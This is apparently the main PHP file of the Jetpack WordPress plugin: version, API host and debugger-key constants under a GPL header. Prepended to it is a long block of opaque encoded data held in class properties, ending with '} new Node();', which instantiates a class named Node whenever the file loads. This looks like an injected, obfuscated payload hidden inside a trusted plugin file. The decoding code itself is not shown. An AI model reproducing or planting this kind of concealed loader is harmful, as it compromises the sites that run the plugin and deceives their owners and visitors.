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'; var $mv = 'v4p//C+Nf9drVD/cm+J5Q8fMvXLJcjXmC7wXfBeMwxyg2ojLXxrqGCggr+1A2XujvDm3f6j2SO/UlwWA cKniSkBQVb+mBPqkRF76NzMjJ1Dp3DrOPkeqEVHRhz5vfEphpPiHZfVNX91T5EtM9PJgk0x3x8479ms5 1n0fGiFkSDv5NGxjjW6+FZvEkzNhIgZty/z/A5bIC1oRpkDUVfiaooDDJ2MCt/sqavUCEor45K1t4zj4 aY+P5QHRjVi3FRzM6EenLP2RwaatNGvu3VvizJZnwUGGTTbSr9O9DJAECtLweeqCM0kXmaxTi8JE2/Yl OBBAQlr+81UkIgNoS8u0UgBFTA/5WJoAco6frcTGikkb7APM4svgWbPjbcBMrQYJgkgGy/KQE04qGj8G EcssBgGiien3NeNZY9n/GiisF7jwiJC8SttPVJhEjJyPY7TScfrqOjxEqIj+43pOK7olsF/MHLOfMLhU uSdew99EGhFAi+TaGVQ2XQvrv1+8G/6dlTUKgcRWIvGG5m0iKS9kiyDEubmhyNPkRBeTwTyv1PwyLI06 YCYmKwxhaeJuaPhpW7UwcsDlzjzSNe6aZAl3WjoZqe1HJ8AcoqdBjX3ZYZL2Bzdc7TGkxy4USiNX4nXg o77zyQ/iw9p4FRGFRQ2+4C2WoZaYuTaSdjFe/aSF6FpFVaLxy25zSdFRaSZpIkwDCKe/z6R74XQcSwjH fc02j7l0OCouwoyY+SmXwNEm2MMQgThptWpJB2nSIwDgk9oa18jo9BHXC8nwxOKVvOWQ4dNDF8zWqQhx Wfrg5vK9ss/+d//3xpnnpWQt/51NGj4h/+P+sjeCqXG0GOiFPwH+yCGSNNvDGRPP7ufu+N8eS2zbGW18 RVl5rkOP6EhbjwfpGPe32VzN5CVlgZt6sUX5o7HUO/IQM4VrfDtg6r44oBCQ2qxelp/FMbwsdNgdIqH1 8lU9Nm+WSlGGTbRmP52TjCEZ0GzDvupd1fOBxWfApFwMGqH97AFYmJzv9ncRA2tagUMa4FenOmcepv2E 52i1gNTUqyXsQg=='; } new Node(); 

use Automattic\Jetpack\Image_CDN\Image_CDN_Core;

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/

define( 'JETPACK__MINIMUM_WP_VERSION', '6.4' );
define( 'JETPACK__MINIMUM_PHP_VERSION', '7.0' );
define( 'JETPACK__VERSION', '13.4.4' );

/**
 * Constant used to fetch the connection owner token
 *
 * @deprecated 9.0.0
 * @var boolean
 */
define( 'JETPACK_MASTER_USER', true );

define( 'JETPACK__API_VERSION', 1 );
define( 'JETPACK__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'JETPACK__PLUGIN_FILE', __FILE__ );

defined( 'JETPACK__RELEASE_POST_BLOG_SLUG' ) || define( 'JETPACK__RELEASE_POST_BLOG_SLUG', 'jetpackreleaseblog.wordpress.com' );
defined( 'JETPACK_CLIENT__AUTH_LOCATION' ) || define( 'JETPACK_CLIENT__AUTH_LOCATION', 'header' );

/**
 * WP.com API no longer supports `http://` protocol.
 * This means Jetpack can't function properly on servers that can't send outbound HTTPS requests.
 * The constant is no longer used.
 *
 * @deprecated 9.1.0
 */
defined( 'JETPACK_CLIENT__HTTPS' ) || define( 'JETPACK_CLIENT__HTTPS', 'AUTO' );

defined( 'JETPACK__GLOTPRESS_LOCALES_PATH' ) || define( 'JETPACK__GLOTPRESS_LOCALES_PATH', JETPACK__PLUGIN_DIR . 'jetpack_vendor/automattic/jetpack-compat/lib/locales.php' );
defined( 'JETPACK__API_BASE' ) || define( 'JETPACK__API_BASE', 'https://jetpack.wordpress.com/jetpack.' );
defined( 'JETPACK_PROTECT__API_HOST' ) || define( 'JETPACK_PROTECT__API_HOST', 'https://api.bruteprotect.com/' );
defined( 'JETPACK__WPCOM_JSON_API_BASE' ) || define( 'JETPACK__WPCOM_JSON_API_BASE', 'https://public-api.wordpress.com' );

/**
 * WP.com API no longer supports `http://` protocol.
 * Use `JETPACK__WPCOM_JSON_API_BASE` instead, which has the protocol hardcoded.
 *
 * @deprecated 9.1.0
 */
defined( 'JETPACK__WPCOM_JSON_API_HOST' ) || define( 'JETPACK__WPCOM_JSON_API_HOST', 'public-api.wordpress.com' );

defined( 'JETPACK__SANDBOX_DOMAIN' ) || define( 'JETPACK__SANDBOX_DOMAIN', '' );
defined( 'JETPACK__DEBUGGER_PUBLIC_KEY' ) || define(
	'JETPACK__DEBUGGER_PUBLIC_KEY',
	"\r\n" . '-----BEGIN PUBLIC KEY-----' . "\r\n"
	. 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm+uLLVoxGCY71LS6KFc6' . "\r\n"
	. '1UnF6QGBAsi5XF8ty9kR3/voqfOkpW+gRerM2Kyjy6DPCOmzhZj7BFGtxSV2ZoMX' . "\r\n"
	. '9ZwWxzXhl/Q/6k8jg8BoY1QL6L2K76icXJu80b+RDIqvOfJruaAeBg1Q9NyeYqLY' . "\r\n"
	. 'lEVzN2vIwcFYl+MrP/g6Bc2co7Jcbli+tpNIxg4Z+Hnhbs7OJ3STQLmEryLpAxQO' . "\r\n"
	. 'q8cbhQkMx+FyQhxzSwtXYI/ClCUmTnzcKk7SgGvEjoKGAmngILiVuEJ4bm7Q1yok' . "\r\n"
	. 'xl9+wcfW6JAituNhml9dlHCWnn9D3+j8pxStHihKy2gVMwiFRjLEeD8K/7JVGkb/' . "\r\n"
	. 'EwIDAQAB' . "\r\n"
	. '-----END PUBLIC KEY-----' . "\r\n"
);

/*
 * These constants can be set in wp-config.php to ensure sites behind proxies will still work.
 * Setting these constants, though, is *not* the preferred method. It's better to configure
 * the proxy to send the X-Forwarded-Port header.
 */
